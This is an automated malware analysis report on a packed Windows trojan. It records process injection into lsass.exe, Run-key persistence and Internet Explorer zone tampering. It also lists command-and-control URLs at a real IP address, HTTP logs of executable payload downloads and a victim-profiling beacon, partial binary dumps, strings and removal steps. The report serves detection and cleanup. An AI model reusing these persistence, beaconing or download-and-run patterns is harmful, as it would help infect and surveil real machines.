Gen.Variant.Zusy.118945_d358217856

by malwarelabrobot on January 10th, 2015 in Malware Descriptions.

Gen:Variant.Zusy.118945 (BitDefender), Trojan.Win32.Fsysna.bakv (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Gen:Variant.Zusy.118945 (B) (Emsisoft), RDN/Generic PWS.y!bcd (McAfee), Trojan.Gen.2 (Symantec), Trojan.Win32.Fsysna (Ikarus), Gen:Variant.Zusy.118945 (FSecure), PSW.Generic12.BCNL (AVG), Win32:Malware-gen (Avast), PAK_Generic.005 (TrendMicro), Gen:Variant.Zusy.118945 (AdAware), mzpefinder_pcap_file.YR, GenericInjector.YR (Lavasoft MAS)
Behaviour: Trojan, Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: d358217856c7b4c3af399b483494d9c0
SHA1: f8eeaf79d8880959c76119aec557f1b4d13bf089
SHA256: 2d0448105fe3301d5a33052eab3947ca95ee4a5d7b70a879329cad9294180c31
SSDeep: 384:x734EKHg9Uu031KnthHhp3LSmqREBU6Q2BpjhZEdBEd7D:x78gV03ehBp7qLj2rjpd7
Size: 23552 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: no certificate found
Created at: 2014-12-07 21:53:23
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

%original file name%.exe:468
lsass.exe:1232

Mutexes

The following mutexes were created/opened:

ShimCacheMutex
ZonesLockedCacheCounterMutex
ZonesCacheCounterMutex
ZonesCounterMutex
krikoc

File activity

The process %original file name%.exe:468 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\bitck1\Text.txt (34 bytes)
%Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx\lsass.exe (1643 bytes)
%Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx\smss.exe (2559 bytes)
%Documents and Settings%\%current user%\Application Data\System\Oracle\smss.exe (23 bytes)

Registry activity

The process %original file name%.exe:468 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E1 A4 98 A8 3C 14 FF 2B 02 C7 31 24 6B AA B8 FB"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx]
"smss.exe" = "smss"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx]
"lsass.exe" = "lsass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Windows" = "%Documents and Settings%\%current user%\Application Data\System\Oracle\smss.exe"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Windows" = "%WinDir%\explorer\smss.exe"

Dropped PE files

MD5 File path
98ae3cce49223d0ee4e495fa06b3b350 c:\Documents and Settings\"%CurrentUserName%"\Application Data\System\Oracle\azioklmpx\lsass.exe
3e5385448f133c1794680606e0efa319 c:\Documents and Settings\"%CurrentUserName%"\Application Data\System\Oracle\azioklmpx\smss.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0 4096 53248 0 0 d41d8cd98f00b204e9800998ecf8427e
UPX1 57344 24576 22016 5.46593 011a94c023afb84216060f7c4ab8b476
UPX2 81920 4096 1024 1.93267 01b93834e141605c003c23902528136f

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://87.121.52.65/panel/includes/verif.php
hxxp://87.121.52.65/panel/includes/persis.php
hxxp://87.121.52.65/panel/includes/kit47896.exe
hxxp://87.121.52.65/panel/includes/btcplugin.php
hxxp://87.121.52.65/panel/includes/btcplugin.exe
hxxp://87.121.52.65/panel/includes/d_elay.php
hxxp://87.121.52.65/panel/includes/day.php
hxxp://87.121.52.65/panel/includes/ip.php
hxxp://87.121.52.65/panel/includes/country.php?IP=37.57.16.189
hxxp://87.121.52.65/panel/includes/idcontact.php?COMPUTER=XP8&steam=0&origin=0&webnavig=0&java=1&memoireRAMbytes=536330240&diskhard=8578932736&avname=0&parefire=0&install=20150109&gpu=0&cpu=Intel(R)Core(TM)[email protected]
hxxp://87.121.52.65/panel/includes/bkill.php


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET hXXp://87.121.52.65/panel/includes/btcplugin.php HTTP/1.


HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 11:31:31 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0 deb7u2
Set-Cookie: PHPSESSID=lqi4e95lrqstopcclai470ofu0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 34
Connection: close
Content-Type: text/html
1A1NepMBi53mVcwxAZrRe27o74TG1NyVzH..



GET /panel/includes/idcontact.php?COMPUTER=XP8&steam=0&origin=0&webnavig=0&java=1&memoireRAMbytes=536330240&diskhard=8578932736&avname=0&parefire=0&install=20150109&gpu=0&cpu=Intel(R)Core(TM)[email protected] HTTP/1.0
Host: 87.121.52.65
User-Agent: crackim
Connection: Close


HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 11:31:33 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0 deb7u2
Set-Cookie: PHPSESSID=geop1e975ufokv1uu1ljfnue52; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 14
Connection: close
Content-Type: text/html
Statistics Ok!..



GET hXXp://87.121.52.65/panel/includes/d_elay.php HTTP/1.


HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 11:31:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0 deb7u2
Set-Cookie: PHPSESSID=81hog5asr691h2fa36861u0mu4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 5
Connection: close
Content-Type: text/html
60000..



GET /panel/includes/kit47896.exe HTTP/1.0
Host: 87.121.52.65
User-Agent: crackim
Connection: Close


HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 11:31:30 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Sat, 27 Dec 2014 18:26:55 GMT
ETag: "2600ddc-2200-50b36c9369c2c"
Accept-Ranges: bytes
Content-Length: 8704
Connection: close
Content-Type: application/x-msdos-program
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L...y..T
...............2. .......`.......p........@...........................
......................................................................
......................................................................
..........................UPX0.....`..............................UPX1
..... [email protected].............................
[email protected]!.....8.W.....d.......6..&.......h..h...W@............._
..... .*;v...../.#.....?l.....".n..$X.5...!..$-,.S1.P......T$......h.6
.(.P...?.D$..|........X..n.FRR.t$k.'.....SR,..:.m*.4.....|P{.v.' .'<
;5..6`..$.....Z..-..-..Q..$......./...!.t......h.....`sV'..........n..
4.......y.W[..S.......$*JI...u..9,.[.(..~..\{.,.C.\.)...].g...P-.L$...
.e......@....@6.< ........R.t..s.v......Wp...;...4l.........!..6...
::$.. |.1wi ]".q.7...7{lz............X..t....#....f.^O."..{...." J.D$O
rH ..P@3X....=..mp....:.!..^!...s....l.....:..._6.v..h O...\.%.V0t2. .
.8..KSn..k...0.J!..'n..F||)2...KA......tV\!c...Y...u8.#<.....$..G..
B.8.Iu..6l..qJR .;a 9...1..9s.T.(...).lIn.>...X....@ .^....Pr......
 ..... V}.lt .w....h..P.U'y..;.$u..F...:.....'y..".(..2...y..<...\.
.{W..2|...(4..!.<x.....w...........`Y..h...t .e..u.h.P.....Y`......
..]k#.Mu...<G..8...*8*..X.."...Ub.vO..#h.l..vy.@.<.l|{.......{h.
.........`...6@t.'.~.%....f}..$.-.....y`.....O...FA.[....<=......o.
...{X..._........h.S..PQ...82..".... .....B2......F.!. c.z. <..
<<< skipped >>>


GET hXXp://87.121.52.65/panel/includes/day.php HTTP/1.


HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 11:31:33 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0 deb7u2
Vary: Accept-Encoding
Content-Length: 8
Connection: close
Content-Type: text/html
20150109..



GET hXXp://87.121.52.65/panel/includes/verif.php HTTP/1.


HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 11:31:30 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0 deb7u2
Vary: Accept-Encoding
Content-Length: 1
Connection: close
Content-Type: text/html
1..



GET /panel/includes/btcplugin.exe HTTP/1.0
Host: 87.121.52.65
User-Agent: crackim
Connection: Close


HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 11:31:32 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Sat, 27 Dec 2014 18:26:19 GMT
ETag: "2600dac-1a00-50b36c718fab6"
Accept-Ranges: bytes
Content-Length: 6656
Connection: close
Content-Type: application/x-msdos-program
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......T
...............2. .......`.. ....p........@...........................
..................................................@...................
......................................................................
..........................UPX0.....`..............................UPX1
..... [email protected].............................
[email protected]!......V'j....c.......,..&.......h .h...T@..............
.... .....*.../L!......w..[.5.-hP@#..h.............".....F*......_....
&...T$.E.L..!.t....0}....!.u.(.RR.......h.q6......G.g.o.....h.'..9{...
........ d...,..........:...|2..:.. h2^2..............h>..J...6&..d
(*B".J.:.,..m....u....<.!....d.l.....|.$G..S1.P..D$ ...o.4.......h"
qt...1..l."...$O....uR...P.7..\...l....s......:......_...O.....T..t2 .
. ..KS}...an.k...1H.F.r.,..)2/M...l....h..t..c.V\.Y._.u8M....B...$....
>....!..0......&.T7".qJ..2`R 9\.=K."..T.y.I/I..o....<..l....u...
u...^.....J.^F.-..(X..2.....na.f...4.. ;......l.y..[....._.QRQ.Y...l..
4..%.Q...............V]..Y..P....I.nS.......f..u. ....3........Q.|..V.
.u...o..^Y.?.SU.-.RM .W.......VN...<0..P......k.W..... .u.\...V...L
$.u._][C..n......N^3(<.o[s;Q.,1....8m...gGPM....F..........\^..|...
.I......HtR;f;.....u.%...tN....<?.../.. .u. .....t.....,.g._....^].
[[email protected]>t@.:t;.98u. ........}.
...;.~.H..DN...f.....S...(_@^[.{...j.Ok....BpB:V&.y50.err%.7...0&l
<<< skipped >>>


GET hXXp://87.121.52.65/panel/includes/persis.php HTTP/1.


HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 11:31:30 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0 deb7u2
Set-Cookie: PHPSESSID=e7ddgh5moigcspfvn87ceotcb2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1
Connection: close
Content-Type: text/html
1..



GET hXXp://87.121.52.65/panel/includes/ip.php HTTP/1.


HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 11:31:33 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0 deb7u2
Vary: Accept-Encoding
Content-Length: 12
Connection: close
Content-Type: text/html
37.57.16.189..



GET hXXp://87.121.52.65/panel/includes/bkill.php HTTP/1.


HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 11:31:34 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0 deb7u2
Set-Cookie: PHPSESSID=pondu5mvbqjvf3ioha070j87b4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1
Connection: close
Content-Type: text/html
1..



GET hXXp://87.121.52.65/panel/includes/country.php?IP=37.57.16.189 HTTP/1.


HTTP/1.1 200 OK
Date: Fri, 09 Jan 2015 11:31:33 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0 deb7u2
Vary: Accept-Encoding
Content-Length: 7
Connection: close
Content-Type: text/html
Ukraine..

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_468:

ws2_32.dll
?456789:;<=
!"#$%&'()* ,-./0123
CreatePipe
RegCreateKeyW
RegOpenKeyW
RegCloseKey
RegOpenKeyExW
RegDeleteKeyW
ShellExecuteW
ShellExecuteExW
EnumWindows
.code
`.text
`.rdata
@.data
4%_i%c
.tl3fl
KERNEL32.DLL
ADVAPI32.DLL
COMCTL32.DLL
MSVCRT.dll
OLE32.DLL
SHELL32.DLL
USER32.DLL
WINMM.DLL
WSOCK32.DLL
2147483648
%%.ß
post.php
persis.php
btcplugin.php
ip.php
ntdll.dll
D:\NVIDIA\
kit47896.exe
\Opera\
(x86)\Opera\
country.php?IP=
verif.php
D:\AMD\
install_info.php
Kernel32.dll
kernel32.dll
Windows
\Chrome\
smss.exe
HTTP/1.0
gettask.php?RUN=
\bitck1\Text.txt
Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0
rpcss.exe
DlExe
\System\Oracle\smss.exe
psapi.dll
d_elay.php
\explorer\smss.exe
pinginfo.php
%Program Files%\McAfee\
(x86)\Firefox\
\System\Oracle\azioklmpx\lsass.exe
\System\Oracle\azioklmpx\smss.exe
btcplugin.exe
explorer.exe
day.php
&webnavig=
idcontact.php?COMPUTER=
get.php?IP=
\Firefox\
(x86)\Chrome\
C:\AMD\
C:\NVIDIA\
bkill.php
Software\Microsoft\Windows\CurrentVersion\Run
hXXp://
{118c04c0-7454-11e2-81a8-806d6172696f}

%original file name%.exe_468_rwx_00401000_00012000:

ws2_32.dll
?456789:;<=
!"#$%&'()* ,-./0123
CreatePipe
RegCreateKeyW
RegOpenKeyW
RegCloseKey
RegOpenKeyExW
RegDeleteKeyW
ShellExecuteW
ShellExecuteExW
EnumWindows
.code
`.text
`.rdata
@.data
4%_i%c
2147483648
%%.ß
post.php
persis.php
btcplugin.php
ip.php
ntdll.dll
D:\NVIDIA\
kit47896.exe
\Opera\
(x86)\Opera\
country.php?IP=
verif.php
D:\AMD\
install_info.php
Kernel32.dll
kernel32.dll
Windows
\Chrome\
smss.exe
HTTP/1.0
gettask.php?RUN=
\bitck1\Text.txt
Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0
rpcss.exe
DlExe
\System\Oracle\smss.exe
psapi.dll
d_elay.php
\explorer\smss.exe
pinginfo.php
%Program Files%\McAfee\
(x86)\Firefox\
\System\Oracle\azioklmpx\lsass.exe
\System\Oracle\azioklmpx\smss.exe
btcplugin.exe
explorer.exe
day.php
&webnavig=
idcontact.php?COMPUTER=
get.php?IP=
\Firefox\
(x86)\Chrome\
C:\AMD\
C:\NVIDIA\
bkill.php
Software\Microsoft\Windows\CurrentVersion\Run
hXXp://
{118c04c0-7454-11e2-81a8-806d6172696f}

lsass.exe_1232:

`.rsrc
.code
`.text
`.rdata
@.data
.rsrc
version="1.0.0.0"
name="CompanyName.ProductName.YourApp"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
KERNEL32.DLL
MSVCRT.dll
USER32.DLL
WINMM.DLL
\bitck1\Text.txt

lsass.exe_1232_rwx_00401000_00007000:

.code
`.text
`.rdata
@.data
.rsrc
\bitck1\Text.txt


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\bitck1\Text.txt (34 bytes)
    %Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx\lsass.exe (1643 bytes)
    %Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx\smss.exe (2559 bytes)
    %Documents and Settings%\%current user%\Application Data\System\Oracle\smss.exe (23 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "Windows" = "%Documents and Settings%\%current user%\Application Data\System\Oracle\smss.exe"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "Windows" = "%WinDir%\explorer\smss.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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